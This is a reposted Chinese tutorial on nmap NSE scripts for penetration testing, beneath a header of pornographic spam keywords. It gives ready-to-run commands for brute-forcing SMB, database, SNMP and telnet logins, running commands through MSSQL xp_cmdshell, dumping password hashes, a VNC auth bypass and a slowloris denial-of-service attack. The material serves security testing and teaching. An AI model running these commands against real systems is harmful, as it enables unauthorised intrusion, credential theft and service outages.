日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 综合教程 >内容正文

综合教程

nmap的基本介绍和基本使用方法

發布時間:2023/12/13 综合教程 37 生活家
生活随笔 收集整理的這篇文章主要介紹了 nmap的基本介绍和基本使用方法 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

原文地址:http://drops.wooyun.org/tips/2188

0x00 前言:

nmap的基本介紹和基本使用方法,在烏云知識庫中已經有人提交過,講的比較詳細,在此文中就不再講述。 具體鏈接:http://drops.wooyun.org/tips/2002

本文主要講解nmap的眾多腳本的使用,在內網滲透的時候尤其好用。

0x01 nmap按腳本分類掃描

nmap腳本主要分為以下幾類,在掃描時可根據需要設置--script=類別這種方式進行比較籠統的掃描:

auth: 負責處理鑒權證書(繞開鑒權)的腳本
broadcast: 在局域網內探查更多服務開啟狀況,如dhcp/dns/sqlserver等服務
brute: 提供暴力破解方式,針對常見的應用如http/snmp等
default: 使用-sC或-A選項掃描時候默認的腳本,提供基本腳本掃描能力
discovery: 對網絡進行更多的信息,如SMB枚舉、SNMP查詢等
dos: 用于進行拒絕服務攻擊
exploit: 利用已知的漏洞入侵系統
external: 利用第三方的數據庫或資源,例如進行whois解析
fuzzer: 模糊測試的腳本,發送異常的包到目標機,探測出潛在漏洞 intrusive: 入侵性的腳本,此類腳本可能引發對方的IDS/IPS的記錄或屏蔽
malware: 探測目標機是否感染了病毒、開啟了后門等信息
safe: 此類與intrusive相反,屬于安全性腳本
version: 負責增強服務與版本掃描(Version Detection)功能的腳本
vuln: 負責檢查目標機是否有常見的漏洞(Vulnerability),如是否有MS08_067
部分使用截圖:

(1) nmap --script=auth 192.168.137.*

負責處理鑒權證書(繞開鑒權)的腳本,也可以作為檢測部分應用弱口令

(2)nmap --script=brute 192.168.137.*

提供暴力破解的方式 可對數據庫,smb,snmp等進行簡單密碼的暴力猜解

2014060615563891852.jpg

(3)nmap --script=default 192.168.137.* 或者 nmap -sC 192.168.137.*

默認的腳本掃描,主要是搜集各種應用服務的信息,收集到后,可再針對具體服務進行攻擊

(4)nmap --script=vuln 192.168.137.*

檢查是否存在常見漏洞

enter image description here

2014060615591092492.jpg

2014060615595719894.jpg

(5)nmap -n -p445 --script=broadcast 192.168.137.4

在局域網內探查更多服務開啟狀況

enter image description here

(6)nmap --script external 202.103.243.110

利用第三方的數據庫或資源,例如進行whois解析

enter image description here

0x02 nmap按應用服務掃描

(1)vnc掃描:

檢查vnc bypass

nmap --script=realvnc-auth-bypass 192.168.137.4

檢查vnc認證方式

nmap --script=vnc-auth 192.168.137.4
獲取vnc信息

nmap --script=vnc-info 192.168.137.4
(2)smb掃描:

smb破解

nmap --script=smb-brute.nse 192.168.137.4
smb字典破解

nmap --script=smb-brute.nse --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.137.4
enter image description here

smb已知幾個嚴重漏

nmap --script=smb-check-vulns.nse --script-args=unsafe=1 192.168.137.4

查看共享目錄

nmap -p 445 --script smb-ls --script-args ‘share=e$,path=,smbuser=test,smbpass=test’ 192.168.137.4
查詢主機一些敏感信息(注:需要下載nmap_service)

nmap -p 445 -n –script=smb-psexec --script-args= smbuser=test,smbpass=test 192.168.137.4
enter image description here

查看會話

nmap -n -p445 --script=smb-enum-sessions.nse --script-args=smbuser=test,smbpass=test 192.168.137.4
系統信息

nmap -n -p445 --script=smb-os-discovery.nse --script-args=smbuser=test,smbpass=test 192.168.137.4
(3)Mssql掃描:

猜解mssql用戶名和密碼

nmap -p1433 --script=ms-sql-brute --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.137.4
2014060616135770347.jpg

xp_cmdshell 執行命令

nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="net user" 192.168.137.4
2014060616145120758.jpg

dumphash值

nmap -p 1433 --script ms-sql-dump-hashes.nse --script-args mssql.username=sa,mssql.password=sa 192.168.137.4
enter image description here

(4)Mysql掃描:

掃描root空口令

nmap -p3306 --script=mysql-empty-password.nse 192.168.137.4
enter image description here
列出所有mysql用戶

nmap -p3306 --script=mysql-users.nse --script-args=mysqluser=root 192.168.137.4
支持同一應用的所有腳本掃描

nmap --script=mysql-* 192.168.137.4
enter image description here

(5)Oracle掃描:

oracle sid掃描

nmap --script=oracle-sid-brute -p 1521-1560 192.168.137.5
enter image description here

oracle弱口令破解

nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL,userdb=/var/passwd,passdb=/var/passwd 192.168.137.5
enter image description here

(6)其他一些比較好用的腳本

nmap --script=broadcast-netbios-master-browser 192.168.137.4 發現網關
nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' 192.168.137.4 破解rsync
nmap --script informix-brute -p 9088 192.168.137.4 informix數據庫破解
nmap -p 5432 --script pgsql-brute 192.168.137.4 pgsql破解
nmap -sU --script snmp-brute 192.168.137.4 snmp破解
nmap -sV --script=telnet-brute 192.168.137.4 telnet破解
nmap --script=http-vuln-cve2010-0738 --script-args 'http-vuln-cve2010-0738.paths={/path1/,/path2/}' jboss autopwn
nmap --script=http-methods.nse 192.168.137.4 檢查http方法
nmap --script http-slowloris --max-parallelism 400 192.168.137.4 dos攻擊,對于處理能力較小的站點還挺好用的 'half-HTTP' connections
nmap --script=samba-vuln-cve-2012-1182 -p 139 192.168.137.4
(7)不靠譜的腳本:

vnc-brute 次數多了會禁止連接

pcanywhere-brute 同上

2014060616350538005.jpg

0x03 學會腳本分析

nmap中腳本并不難看懂,所以在使用時如果不知道原理可以直接看利用腳本即可,也可以修改其中的某些參數方便自己使用。

舉例:

關于oracle的弱口令破解:

調用過程:oracle-brute.nse >> oracle-default-accounts.lst

首先是調用破解腳本:

根據腳本中字典的位置去查看默認字典,當然也可以將破解的字符自行添加其中,或者是修改腳本或參數改變破解字典:

總結

以上是生活随笔為你收集整理的nmap的基本介绍和基本使用方法的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。